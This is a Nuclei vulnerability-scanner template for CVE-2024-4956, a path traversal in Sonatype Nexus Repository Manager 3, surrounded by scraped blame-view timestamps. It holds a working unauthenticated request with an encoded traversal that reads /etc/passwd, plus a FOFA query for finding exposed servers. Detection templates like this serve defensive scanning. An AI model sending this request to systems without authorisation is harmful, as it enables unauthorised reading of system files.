2024-05-23 06:24:19 +00:00
|
|
|
id: CVE-2024-4956
|
|
|
|
|
|
|
|
info:
|
2024-05-23 06:30:22 +00:00
|
|
|
name: Sonatype Nexus Repository Manager 3 - Local File Inclusion
|
2024-05-23 06:24:19 +00:00
|
|
|
author: ritikchaddha
|
|
|
|
severity: high
|
|
|
|
description: |
|
|
|
|
Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.
|
2024-05-23 06:30:22 +00:00
|
|
|
reference:
|
|
|
|
- https://x.com/phithon_xg/status/1793517567560335428?s=46&t=GMMfJwV8rhJHdcj2TUympg
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-4956
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cve-id: CVE-2024-4956
|
|
|
|
cwe-id: CWE-22
|
|
|
|
cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
|
2024-05-23 06:24:19 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
max-request: 1
|
2024-05-23 06:30:22 +00:00
|
|
|
vendor: sonatype
|
|
|
|
product: nexus
|
2024-05-23 06:24:19 +00:00
|
|
|
fofa-query: title="Nexus Repository Manager"
|
|
|
|
tags: cve,cve2024,nexus,lfi
|
|
|
|
|
|
|
|
http:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
|
|
|
|
|
|
|
|
matchers:
|
2024-05-23 06:30:22 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- regex('root:.*:0:0:', body)
|
|
|
|
- contains(header, "application/octet-stream")
|
|
|
|
- status_code == 200
|
|
|
|
condition: and
|